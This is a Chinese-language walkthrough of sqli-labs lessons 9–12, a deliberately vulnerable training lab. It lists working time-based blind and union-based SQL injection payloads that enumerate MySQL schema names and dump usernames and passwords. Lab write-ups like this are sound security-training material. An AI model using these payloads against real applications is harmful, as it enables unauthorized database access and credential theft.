一.less9
1.首先判断注入,输入任何参数和字符页面显示不变,因此判断可使用时间盲注或DNSlog外带注入。我们使用时间盲注。
2.输入?id=1' and sleep(2)--+,页面延时2s显示,因此确定闭合。
3.输入?id=1' and if(length(database())=8,sleep(2),1)--+,页面延时2s,确定数据库字符长度为8。
4.输入?id=1' and if(ascii(substr(database(),1,1))>1,sleep(2),1)--+,使用二分法判断数据库第一个字符.
5.输入?id=1' and if(ascii(substr(database(),1,1))>115,sleep(2),1)--+,判断第一个字符为s.
6.输入?id=1' and if(ascii(substr(database(),2,1))>1,sleep(2),1)--+
输入?id=1' and if(ascii(substr(database(),3,1))>1,sleep(2),1)--+
输入?id=1' and if(ascii(substr(database(),4,1))>1,sleep(2),1)--+
输入?id=1' and if(ascii(substr(database(),5,1))>1,sleep(2),1)--+
输入?id=1' and if(ascii(substr(database(),6,1))>1,sleep(2),1)--+
.............
判断数据库的其他字符。
为security
7.输入?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>1,sleep(2),1)--+判断第一个表的第一个字符。
8.输入?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),2,1))>1,sleep(2),1)--+判断第一个表的第二个字符。以此类推获得第一个表的名称。得到需要的那张表名为users
9.输入?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1))>1,sleep(2),1)--+判断第二个表的第一个字符。以此类推获得第二个表的名称。得到需要的那张表名为users。
10.输入?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>1,sleep(2),1)--+判断其表中第一个字段的第一个字符。
11.输入?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),2,1))>1,sleep(2),1)--+判断其表中第一个字段的第二个字符。以此类推,得出第一个字段。
12.输入?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),1,1))>1,sleep(2),1)--+判断其表中第二个字段的第一个字符。以此类推,得出第二个字段。
13.按照相同方式得出所有的字段。我们所需要的字段为username和password。
14.输入?id=1' and if(ascii(substr((select password from users limit 0,1),1,1))>1,sleep(2),1)--+判断password的第一个字段的第一个字符。
15.以此类推得出password和username的所有字段。
二.less10
1.输入任何字符只显示一种页面,说明跟上一关的模式一样。判断闭合,输入?id=1"and sleep(2)--+页面延时2s显示,说明闭合成功。
2.重复上一关的操作,得到相关数据。
三.less11
1.报错了,说明存在SQL注入
2.寻找闭合,输入1‘#闭合成功。
3.输入1' order by 2#确认回显点数为2.
4.输入1' union select 1,2#确认回显位置。
5.输入1' union select database(),2#得到数据库名
6.输入1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'#查询security下的所有表名
7.输入1' union select 1,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'#查询user表下的所有字段。
8.输入1' union select 1,group_concat(username,'~',password) from users#得到账户信息。
四.less12
1.报错了,说明存在SQL注入
2.寻找闭合,输入1")#闭合成功。
3.与上一关属于同一类型,按照上关步骤得出数据